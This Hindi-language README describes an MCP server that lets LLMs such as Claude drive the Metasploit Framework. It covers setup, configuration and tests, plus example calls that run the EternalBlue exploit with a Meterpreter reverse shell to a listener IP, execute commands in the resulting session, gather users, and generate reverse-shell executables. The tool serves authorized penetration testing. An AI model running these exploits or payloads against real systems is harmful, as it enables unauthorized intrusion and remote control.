Metasploit के लिए MCP सर्वर
मेटास्प्लॉइट फ्रेमवर्क एकीकरण के लिए एक मॉडल कॉन्टेक्स्ट प्रोटोकॉल (MCP) सर्वर।
https://github.com/user-attachments/assets/39b19fb5-8397-4ccd-b896-d1797ec185e1
यह MCP सर्वर Claude जैसे बड़े भाषा मॉडल और मेटास्प्लॉइट फ्रेमवर्क पेनिट्रेशन टेस्टिंग प्लेटफ़ॉर्म के बीच एक पुल प्रदान करता है। यह AI सहायकों को मानकीकृत टूल के माध्यम से मेटास्प्लॉइट कार्यक्षमता तक गतिशील रूप से पहुँचने और नियंत्रित करने की अनुमति देता है, जिससे जटिल सुरक्षा परीक्षण वर्कफ़्लो के लिए एक प्राकृतिक भाषा इंटरफ़ेस सक्षम होता है।
pip install -r requirements.txt
MSF_PASSWORD=yourpassword
MSF_SERVER=127.0.0.1
MSF_PORT=55553
MSF_SSL=false
PAYLOAD_SAVE_DIR=/path/to/save/payloads # Optional: Where to save generated payloads
मेटास्प्लॉइट RPC सेवा प्रारंभ करें:
msfrpcd -P yourpassword -S -a 127.0.0.1 -p 55553
सर्वर दो ट्रांसपोर्ट विधियों का समर्थन करता है:
आप --transport फ़्लैग का उपयोग करके ट्रांसपोर्ट मोड स्पष्ट रूप से चुन सकते हैं:
# Run with HTTP/SSE transport (default)
python MetasploitMCP.py --transport http
# Run with STDIO transport
python MetasploitMCP.py --transport stdio
HTTP मोड के लिए अतिरिक्त विकल्प:
python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085
Claude Desktop एकीकरण के लिए, claude_desktop_config.json कॉन्फ़िगर करें:
{
"mcpServers": {
"metasploit": {
"command": "uv",
"args": [
"--directory",
"C:\\path\\to\\MetasploitMCP",
"run",
"MetasploitMCP.py",
"--transport",
"stdio"
],
"env": {
"MSF_PASSWORD": "yourpassword"
}
}
}
}
HTTP/SSE का उपयोग करने वाले अन्य MCP क्लाइंट के लिए:
सर्वर को HTTP मोड में प्रारंभ करें:
python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085
अपने MCP क्लाइंट को निम्न से कनेक्ट करने के लिए कॉन्फ़िगर करें:
http://your-server-ip:8085/sse⚠️ महत्वपूर्ण सुरक्षा चेतावनी:
यह उपकरण मेटास्प्लॉइट फ्रेमवर्क क्षमताओं तक सीधी पहुँच प्रदान करता है, जिसमें शक्तिशाली एक्सप्लॉइटेशन सुविधाएँ शामिल हैं। जिम्मेदारी से उपयोग करें और केवल उन वातावरणों में जहाँ आपके पास सुरक्षा परीक्षण करने की स्पष्ट अनुमति हो।
list_exploits("ms17_010")run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444})list_active_sessions()send_session_command(1, "whoami")run_post_module("windows/gather/enum_logged_on_users", 1)send_session_command(1, "sysinfo")terminate_session(1)start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)list_listeners()generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})stop_job(1)इस प्रोजेक्ट में विश्वसनीयता और रखरखाव सुनिश्चित करने के लिए व्यापक यूनिट और इंटीग्रेशन परीक्षण शामिल हैं।
परीक्षण निर्भरताएँ स्थापित करें:
pip install -r requirements-test.txt
या सुविधाजनक इंस्टालर का उपयोग करें:
python run_tests.py --install-deps
# OR
make install-deps
# Run all tests
python run_tests.py --all
# OR
make test
# Run with coverage report
python run_tests.py --all --coverage
# OR
make coverage
# Run with HTML coverage report
python run_tests.py --all --coverage --html
# OR
make coverage-html
# Unit tests only
python run_tests.py --unit
# OR
make test-unit
# Integration tests only
python run_tests.py --integration
# OR
make test-integration
# Options parsing tests
python run_tests.py --options
# OR
make test-options
# Helper function tests
python run_tests.py --helpers
# OR
make test-helpers
# MCP tools tests
python run_tests.py --tools
# OR
make test-tools
# Include slow tests
python run_tests.py --all --slow
# Include network tests (requires actual network)
python run_tests.py --all --network
# Verbose output
python run_tests.py --all --verbose
# Quick test (no coverage, fail fast)
make quick-test
# Debug mode (detailed failure info)
make test-debug
tests/test_options_parsing.py: विकल्प पार्सिंग कार्यक्षमता के लिए यूनिट परीक्षणtests/test_helpers.py: आंतरिक सहायक फ़ंक्शन और MSF क्लाइंट प्रबंधन के लिए यूनिट परीक्षणtests/test_tools_integration.py: मॉक किए गए मेटास्प्लॉइट बैकएंड के साथ सभी MCP टूल के लिए इंटीग्रेशन परीक्षणconftest.py: साझा परीक्षण फिक्स्चर और कॉन्फ़िगरेशनpytest.ini: कवरेज सेटिंग्स के साथ Pytest कॉन्फ़िगरेशनकवरेज के साथ परीक्षण चलाने के बाद, रिपोर्ट यहां उपलब्ध हैं:
htmlcov/index.html (--html विकल्प का उपयोग करने पर)निरंतर एकीकरण के लिए:
# CI-friendly test command
make ci-test
# OR
python run_tests.py --all --coverage --verbose
डिफ़ॉल्ट रूप से, generate_payload के साथ जनरेट किए गए पेलोड आपके होम फ़ोल्डर में payloads निर्देशिका (~/payloads या C:\Users\YourUsername\payloads) में सहेजे जाते हैं। आप PAYLOAD_SAVE_DIR पर्यावरण चर सेट करके इस स्थान को अनुकूलित कर सकते हैं।
पर्यावरण चर सेट करना:
Windows (PowerShell):
$env:PAYLOAD_SAVE_DIR = "C:\custom\path\to\payloads"
Windows (Command Prompt):
set PAYLOAD_SAVE_DIR=C:\custom\path\to\payloads
Linux/macOS:
export PAYLOAD_SAVE_DIR=/custom/path/to/payloads
Claude Desktop कॉन्फ़िग में:
"env": {
"MSF_PASSWORD": "yourpassword",
"PAYLOAD_SAVE_DIR": "C:\\your\\actual\\path\\to\\payloads" // Only add if you want to override the default
}
नोट: यदि आप कोई कस्टम पथ निर्दिष्ट करते हैं, तो सुनिश्चित करें कि वह मौजूद है या एप्लिकेशन के पास उसे बनाने की अनुमति है। यदि पथ अमान्य है, तो पेलोड जनरेशन विफल हो सकता है।
Apache 2.0